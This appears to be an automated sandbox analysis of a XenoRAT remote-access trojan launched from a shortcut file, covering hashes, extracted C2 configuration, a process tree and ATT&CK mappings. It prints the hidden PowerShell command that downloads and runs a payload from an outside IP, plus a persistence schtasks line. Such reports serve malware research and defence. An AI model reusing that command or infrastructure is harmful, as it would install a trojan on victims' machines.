xenorat | 1e2f9bb7d4aee809ae89704f6225503bf72b09ca897986ab70a00332fdf10ae7

Analysis

max time kernel
148s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
26-07-2024 11:02

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General

Target

PAGO_Transferencia.lnk
Size

2KB
MD5

4db66f511c6604f1be1ae032b84f8358
SHA1

8ab73293cf42ead05326874845622cea78822c8f
SHA256

1e2f9bb7d4aee809ae89704f6225503bf72b09ca897986ab70a00332fdf10ae7
SHA512

2cf294db093bbe00ce504d2817dced1d62d7eb8af4a7183836fb4af0288f7e5018cd2226bea522ad5464b911317bd184bb36303e766fa4a59239f87878510c67

Score

10^/10

xenorat discovery execution rat trojan

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://94.156.67.244:5679/abincontents/sthdytjdtuoigfyuqurbjzksbfgbshbfabirgtrht/ioihirabgbrdhbgwhkebgrsryftsevrfsyubkhabvyrgbksdtg/Display1.exe

Extracted

Family

xenorat

45.66.231.63

Mutex

Holid_rat_nd8859g

Attributes

delay
60400
install_path
appdata
port
1243
startup_name
HDdisplay

Signatures

XenorRat
XenorRat is a remote access trojan written in C#.
trojan rat xenorat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	1724	PoWersheLl.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1724	PoWersheLl.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	DisplayResolution.exe

Executes dropped EXE 10 IoCs

pid	Process
4704	DisplayResolution.exe
3904	DisplayResolution.exe
4004	DisplayResolution.exe
3084	DisplayResolution.exe
1584	DisplayResolution.exe
2784	DisplayResolution.exe
2928	DisplayResolution.exe
3272	DisplayResolution.exe
1104	DisplayResolution.exe
2252	DisplayResolution.exe

Suspicious use of SetThreadContext 8 IoCs

description	pid	Process	procid_target
PID 4704 set thread context of 3904	4704	DisplayResolution.exe	90
PID 4704 set thread context of 4004	4704	DisplayResolution.exe	91
PID 4704 set thread context of 3084	4704	DisplayResolution.exe	92
PID 4704 set thread context of 1584	4704	DisplayResolution.exe	93
PID 2784 set thread context of 2928	2784	DisplayResolution.exe	95
PID 2784 set thread context of 3272	2784	DisplayResolution.exe	96
PID 2784 set thread context of 1104	2784	DisplayResolution.exe	97
PID 2784 set thread context of 2252	2784	DisplayResolution.exe	98

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3044	3272	WerFault.exe	96

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DisplayResolution.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DisplayResolution.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DisplayResolution.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DisplayResolution.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DisplayResolution.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DisplayResolution.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DisplayResolution.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DisplayResolution.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DisplayResolution.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4336	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1724	PoWersheLl.exe
1724	PoWersheLl.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1724	PoWersheLl.exe
Token: SeDebugPrivilege	4704	DisplayResolution.exe
Token: SeDebugPrivilege	2784	DisplayResolution.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2116 wrote to memory of 1724	2116	cmd.exe	85
PID 2116 wrote to memory of 1724	2116	cmd.exe	85
PID 1724 wrote to memory of 4704	1724	PoWersheLl.exe	89
PID 1724 wrote to memory of 4704	1724	PoWersheLl.exe	89
PID 1724 wrote to memory of 4704	1724	PoWersheLl.exe	89
PID 4704 wrote to memory of 3904	4704	DisplayResolution.exe	90
PID 4704 wrote to memory of 3904	4704	DisplayResolution.exe	90
PID 4704 wrote to memory of 3904	4704	DisplayResolution.exe	90
PID 4704 wrote to memory of 3904	4704	DisplayResolution.exe	90
PID 4704 wrote to memory of 3904	4704	DisplayResolution.exe	90
PID 4704 wrote to memory of 3904	4704	DisplayResolution.exe	90
PID 4704 wrote to memory of 3904	4704	DisplayResolution.exe	90
PID 4704 wrote to memory of 3904	4704	DisplayResolution.exe	90
PID 4704 wrote to memory of 4004	4704	DisplayResolution.exe	91
PID 4704 wrote to memory of 4004	4704	DisplayResolution.exe	91
PID 4704 wrote to memory of 4004	4704	DisplayResolution.exe	91
PID 4704 wrote to memory of 4004	4704	DisplayResolution.exe	91
PID 4704 wrote to memory of 4004	4704	DisplayResolution.exe	91
PID 4704 wrote to memory of 4004	4704	DisplayResolution.exe	91
PID 4704 wrote to memory of 4004	4704	DisplayResolution.exe	91
PID 4704 wrote to memory of 4004	4704	DisplayResolution.exe	91
PID 4704 wrote to memory of 3084	4704	DisplayResolution.exe	92
PID 4704 wrote to memory of 3084	4704	DisplayResolution.exe	92
PID 4704 wrote to memory of 3084	4704	DisplayResolution.exe	92
PID 4704 wrote to memory of 3084	4704	DisplayResolution.exe	92
PID 4704 wrote to memory of 3084	4704	DisplayResolution.exe	92
PID 4704 wrote to memory of 3084	4704	DisplayResolution.exe	92
PID 4704 wrote to memory of 3084	4704	DisplayResolution.exe	92
PID 4704 wrote to memory of 3084	4704	DisplayResolution.exe	92
PID 4704 wrote to memory of 1584	4704	DisplayResolution.exe	93
PID 4704 wrote to memory of 1584	4704	DisplayResolution.exe	93
PID 4704 wrote to memory of 1584	4704	DisplayResolution.exe	93
PID 4704 wrote to memory of 1584	4704	DisplayResolution.exe	93
PID 4704 wrote to memory of 1584	4704	DisplayResolution.exe	93
PID 4704 wrote to memory of 1584	4704	DisplayResolution.exe	93
PID 4704 wrote to memory of 1584	4704	DisplayResolution.exe	93
PID 4704 wrote to memory of 1584	4704	DisplayResolution.exe	93
PID 4004 wrote to memory of 2784	4004	DisplayResolution.exe	94
PID 4004 wrote to memory of 2784	4004	DisplayResolution.exe	94
PID 4004 wrote to memory of 2784	4004	DisplayResolution.exe	94
PID 2784 wrote to memory of 2928	2784	DisplayResolution.exe	95
PID 2784 wrote to memory of 2928	2784	DisplayResolution.exe	95
PID 2784 wrote to memory of 2928	2784	DisplayResolution.exe	95
PID 2784 wrote to memory of 2928	2784	DisplayResolution.exe	95
PID 2784 wrote to memory of 2928	2784	DisplayResolution.exe	95
PID 2784 wrote to memory of 2928	2784	DisplayResolution.exe	95
PID 2784 wrote to memory of 2928	2784	DisplayResolution.exe	95
PID 2784 wrote to memory of 2928	2784	DisplayResolution.exe	95
PID 2784 wrote to memory of 3272	2784	DisplayResolution.exe	96
PID 2784 wrote to memory of 3272	2784	DisplayResolution.exe	96
PID 2784 wrote to memory of 3272	2784	DisplayResolution.exe	96
PID 2784 wrote to memory of 3272	2784	DisplayResolution.exe	96
PID 2784 wrote to memory of 3272	2784	DisplayResolution.exe	96
PID 2784 wrote to memory of 3272	2784	DisplayResolution.exe	96
PID 2784 wrote to memory of 3272	2784	DisplayResolution.exe	96
PID 2784 wrote to memory of 3272	2784	DisplayResolution.exe	96
PID 2784 wrote to memory of 1104	2784	DisplayResolution.exe	97
PID 2784 wrote to memory of 1104	2784	DisplayResolution.exe	97
PID 2784 wrote to memory of 1104	2784	DisplayResolution.exe	97
PID 2784 wrote to memory of 1104	2784	DisplayResolution.exe	97
PID 2784 wrote to memory of 1104	2784	DisplayResolution.exe	97
PID 2784 wrote to memory of 1104	2784	DisplayResolution.exe	97
PID 2784 wrote to memory of 1104	2784	DisplayResolution.exe	97
PID 2784 wrote to memory of 1104	2784	DisplayResolution.exe	97

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\PAGO_Transferencia.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2116
- C:\Windows\System32\WindowsPowerShell\v1.0\PoWersheLl.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\PoWersheLl.exe" -ExecutionPolicy -Bypass -WindowStyle hiDdEn -hiDdEn -Command PkgMgr.exe;(new-object System.Net.WebClient).DownloadFile('http://94.156.67.244:5679/abincontents/sthdytjdtuoigfyuqurbjzksbfgbshbfabirgtrht/ioihirabgbrdhbgwhkebgrsryftsevrfsyubkhabvyrgbksdtg/Display1.exe','DisplayResolution.exe');./'DisplayResolution.exe';(get-item 'DisplayResolution.exe').Attributes += 'Hidden';
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1724
- - C:\Users\Admin\AppData\Local\Temp\DisplayResolution.exe
    "C:\Users\Admin\AppData\Local\Temp\DisplayResolution.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4704
  - - C:\Users\Admin\AppData\Local\Temp\DisplayResolution.exe
      C:\Users\Admin\AppData\Local\Temp\DisplayResolution.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3904
  - - C:\Users\Admin\AppData\Local\Temp\DisplayResolution.exe
      C:\Users\Admin\AppData\Local\Temp\DisplayResolution.exe
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4004
    - - C:\Users\Admin\AppData\Roaming\XenoManager\DisplayResolution.exe
        
        "C:\Users\Admin\AppData\Roaming\XenoManager\DisplayResolution.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2784
      - C:\Users\Admin\AppData\Roaming\XenoManager\DisplayResolution.exe
        
        C:\Users\Admin\AppData\Roaming\XenoManager\DisplayResolution.exe
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2928
      - C:\Users\Admin\AppData\Roaming\XenoManager\DisplayResolution.exe
        
        C:\Users\Admin\AppData\Roaming\XenoManager\DisplayResolution.exe
        6⤵
        Executes dropped EXE
        
        PID:3272
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3272 -s 80
        7⤵
        Program crash
        
        PID:3044
      - C:\Users\Admin\AppData\Roaming\XenoManager\DisplayResolution.exe
        
        C:\Users\Admin\AppData\Roaming\XenoManager\DisplayResolution.exe
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1104
      - C:\Users\Admin\AppData\Roaming\XenoManager\DisplayResolution.exe
        
        C:\Users\Admin\AppData\Roaming\XenoManager\DisplayResolution.exe
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2252
  - - C:\Users\Admin\AppData\Local\Temp\DisplayResolution.exe
      C:\Users\Admin\AppData\Local\Temp\DisplayResolution.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3084
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks.exe" /Create /TN "HDdisplay" /XML "C:\Users\Admin\AppData\Local\Temp\tmp80E3.tmp" /F
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:4336
  - - C:\Users\Admin\AppData\Local\Temp\DisplayResolution.exe
      C:\Users\Admin\AppData\Local\Temp\DisplayResolution.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1584

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3272 -ip 3272
1⤵
PID:1184

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\DisplayResolution.exe.log

Filesize
522B

MD5
0f39d6b9afc039d81ff31f65cbf76826

SHA1
8356d04fe7bba2695d59b6caf5c59f58f3e1a6d8

SHA256
ea16b63ffd431ebf658b903710b6b3a9b8a2eb6814eee3a53b707a342780315d

SHA512
5bad54adb2e32717ef6275f49e2f101dd7e2011c9be14a32e5c29051e8a3f608cbd0b44ac4855ab21e790cb7a5d84c5f69de087074fd01b35259d34d07f5aaf9

Download Submit
C:\Users\Admin\AppData\Local\Temp\DisplayResolution.exe

Filesize
150KB

MD5
fcc55ef512ccf37a07ec703b59cc7aad

SHA1
9abef70ff67a2a7032ac1da4cd65424e7b2130b7

SHA256
38b26e2364bc081a90145838451341f14bda3cbd15bba54bf0114cab5d2f8667

SHA512
e26567479340c42126937edba18399af1d070b89c95fb8871dcbf3afb524bc89e289d361f4aa038f655e77b28e095ae3e487d8938248ea3d32677168acd17517

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nx2igiot.ze0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp80E3.tmp

Filesize
1KB

MD5
c1fb6c7a2a252aad9a614b2a29769d98

SHA1
f6d4f83e1cb6612498178b151edfc155432138c6

SHA256
da84b1e8d3d3d979614cb431546c9806ca977b2cf74c5b86e42598408814f292

SHA512
3569c7553fda61cf8af6a0e7480e8fc4432ba7c8b6e00fb41e64ea1d73debf2000618ea1bdd193668ddbe43b1d77ae3c934ed80ffca983afc680cd8d595d2529

Download Submit
memory/1724-2-0x00007FF945243000-0x00007FF945245000-memory.dmp

Filesize
8KB

Download
memory/1724-9-0x000001DECC0F0000-0x000001DECC112000-memory.dmp

Filesize
136KB

Download
memory/1724-13-0x00007FF945240000-0x00007FF945D01000-memory.dmp

Filesize
10.8MB

Download
memory/1724-14-0x00007FF945240000-0x00007FF945D01000-memory.dmp

Filesize
10.8MB

Download
memory/1724-24-0x00007FF945240000-0x00007FF945D01000-memory.dmp

Filesize
10.8MB

Download
memory/3904-27-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/4704-25-0x0000000000C40000-0x0000000000C6C000-memory.dmp

Filesize
176KB

Download
memory/4704-26-0x0000000005670000-0x000000000570C000-memory.dmp

Filesize
624KB

Download